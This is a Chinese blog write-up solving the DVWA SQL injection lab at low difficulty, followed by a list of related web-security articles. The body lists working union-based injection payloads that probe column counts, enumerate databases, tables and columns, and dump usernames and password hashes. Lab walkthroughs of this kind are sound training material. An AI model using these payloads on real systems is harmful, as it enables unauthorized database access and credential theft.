[网络安全]DVWA之SQL注入—low level解题详析

简介: 判断漏洞类型原理可参考[网络安全]SQL注入原理及常见攻击方法简析

判断漏洞类型

判断漏洞类型原理可参考[网络安全]SQL注入原理及常见攻击方法简析


判断是否为数字型注入

image.png

若为数字型注入,则第二个语句应回显Error或没有回显。


判断是否为字符型注入

image.png

第二个语句没有回显,所以该漏洞类型为字符型注入漏洞。


判断注入点个数

输入1' order by 4#时,回显Unknown column '4' in 'order clause'


image.png

说明猜测的注入点个数过大

输入1' order by 2#时,回显如下:

说明注入点个数为2或3

输入1' order by 3#时,回显Unknown column '3' in 'order clause'

所以注入点个数为两个


爆库名

输入1' union select 1,database()#

回显一个数据库名

image.png

图片中第一段为第一个注入点的信息,第二段为第二个注入点(即database)的信息。


爆当前用户名

输入1' union select 1,user()#

image.png

由于注入点有两个,所以我们可以通过一个sql语句既查询数据库名又查询当前用户名

输入1' union select user(),database()#

image.png

注意,如果使用1' union select user()#的话,会回显The used SELECT statements have a different number of columns(所使用的 SELECT 语句具有不同数量的列),因为该语句的注入点只有一个。


爆表名

输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显guestbook和users两个表名

也可采用如下语句

image.png

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

image.png

其中,group_concat的作用是将多个值连接成一个字符串,并用逗号连接。


爆列名

输入1' union select 1, column_name from information_schema.columns where table_name='users'#

或1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

相比之下,在查询结果过多的情况下,建议使用group_concat将查询结果集合起来

image.png

爆字段

输入1' union select user,password from users#

image.png


报错分析及解决方法

若SQL联合注入过程中出现该报错:illegal mix of collations for operation UNION

原因如下:information_schema里的table的排序规则是utf8_general_ci,而user表中字段默认为utf8_unicode_ci,导致字符排序不匹配。

解决方法:


在phpstudy中打开phpMyAdmin


image.png

进入dvwa数据库中的user表,将各列排序规则修改为utf8_gengeral_ci,保存即可。

image.png

总结

以上为DVWA之SQL注入—low level解题详析,读者可借此简单了解SQL注入方式。

后续会分享DVWA之SQL注入—Medium level攻击姿势及解题详析。

我是秋说,我们下次见。


目录
相关文章
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
1048 2
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
535 5
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
622 5
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
426 1
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
457 1
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
1063 13
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
762 9
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
465 6
|
SQL Oracle 关系型数据库
MySQL、SQL Server和Oracle数据库安装部署教程
数据库的安装部署教程因不同的数据库管理系统(DBMS)而异,以下将以MySQL、SQL Server和Oracle为例,分别概述其安装部署的基本步骤。请注意,由于软件版本和操作系统的不同,具体步骤可能会有所变化。
1570 3

热门文章

最新文章